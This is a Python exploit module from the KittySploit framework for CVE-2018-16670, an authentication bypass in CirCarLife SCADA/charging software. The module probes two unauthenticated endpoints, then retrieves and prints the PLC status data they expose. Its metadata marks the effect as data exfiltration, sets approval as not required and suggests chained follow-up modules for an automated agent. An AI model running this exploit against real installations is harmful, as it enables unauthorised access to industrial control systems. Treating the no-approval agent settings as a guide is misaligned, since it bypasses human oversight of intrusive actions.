CirCarLife Auth Bypass (CVE-2018-16670)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CirCarLife devstat auth bypass (CVE-2018-16670)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'CirCarLife Auth Bypass (CVE-2018-16670)',
        'description': (
            'Exploits CVE-2018-16670 in CirCarLife <4.3: unauthenticated access to '
            '/html/devstat.html and /services/user/values.xml exposes PLC status data.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-16670'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-16670'],
        'tags': ['circarlife', 'scada', 'iot', 'auth-bypass', 'vkev'],
        'agent': {
            'risk': 'medium',
            'effects': ['data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['admin_surface', 'tech_hints'],
            'chain': {'suggested_followups': ['scanner/http/cve_2018_16670_detect']},
        },
    }

    def check(self):
        for path in ('/html/devstat.html', '/services/user/values.xml?var=STATUS'):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            body = (r.text or '') if r else ''
            if r and r.status_code == 200 and ('Reader.STATUS' in body or 'devstat' in body.lower()):
                return {'vulnerable': True, 'reason': f'CirCarLife exposed via {path}', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'CirCarLife endpoints not exposed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('CirCarLife not vulnerable')
            return False
        for path in ('/html/devstat.html', '/services/user/values.xml?var=STATUS'):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200:
                print_success(f'{path} — {len(r.text or "")} bytes')
                print_status((r.text or '')[:2000])
        return True